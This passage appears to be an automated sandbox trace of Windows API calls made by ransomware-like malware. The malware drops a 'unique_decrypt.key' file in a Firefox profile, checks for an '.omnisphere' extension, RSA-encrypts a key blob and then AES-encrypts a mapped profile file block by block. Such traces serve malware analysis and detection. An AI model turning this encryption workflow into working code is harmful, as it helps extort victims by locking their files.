lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0157.103] CloseHandle (hObject=0x288) returned 1 [0157.103] GetProcessHeap () returned 0x1600000 [0157.103] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1745168 | out: hHeap=0x1600000) returned 1 [0157.103] GetProcessHeap () returned 0x1600000 [0157.103] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c388 [0157.103] PathCombineW (in: pszDest=0x162c388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0157.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0157.103] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0157.103] CloseHandle (hObject=0x288) returned 1 [0157.103] GetProcessHeap () returned 0x1600000 [0157.103] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c388 | out: hHeap=0x1600000) returned 1 [0157.104] GetProcessHeap () returned 0x1600000 [0157.104] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c458 | out: hHeap=0x1600000) returned 1 [0157.104] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x145311ab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x500000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="favicons.sqlite", cAlternateFileName="FAVICO~1.SQL")) returned 1 [0157.104] GetProcessHeap () returned 0x1600000 [0157.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162bdd8 [0157.104] PathCombineW (in: pszDest=0x162bdd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="favicons.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" [0157.104] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0157.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0157.105] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=5242880) returned 1 [0157.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4ffadc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0157.105] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0157.107] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500000, lpName=0x0) returned 0x3c0 [0157.107] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4010000 [0157.107] UnmapViewOfFile (lpBaseAddress=0x4010000) returned 1 [0157.107] CloseHandle (hObject=0x3c0) returned 1 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.107] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] GetTickCount () returned 0x11670a3 [0157.108] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16683d8) returned 1 [0157.109] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0157.109] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0157.109] CryptDestroyKey (hKey=0x1639b28) returned 1 [0157.110] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0157.110] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500000, lpName=0x0) returned 0x3c0 [0157.110] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500000) returned 0x4010000 [0157.407] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16683d8) returned 1 [0157.407] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0157.408] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.408] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.409] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.410] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.411] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 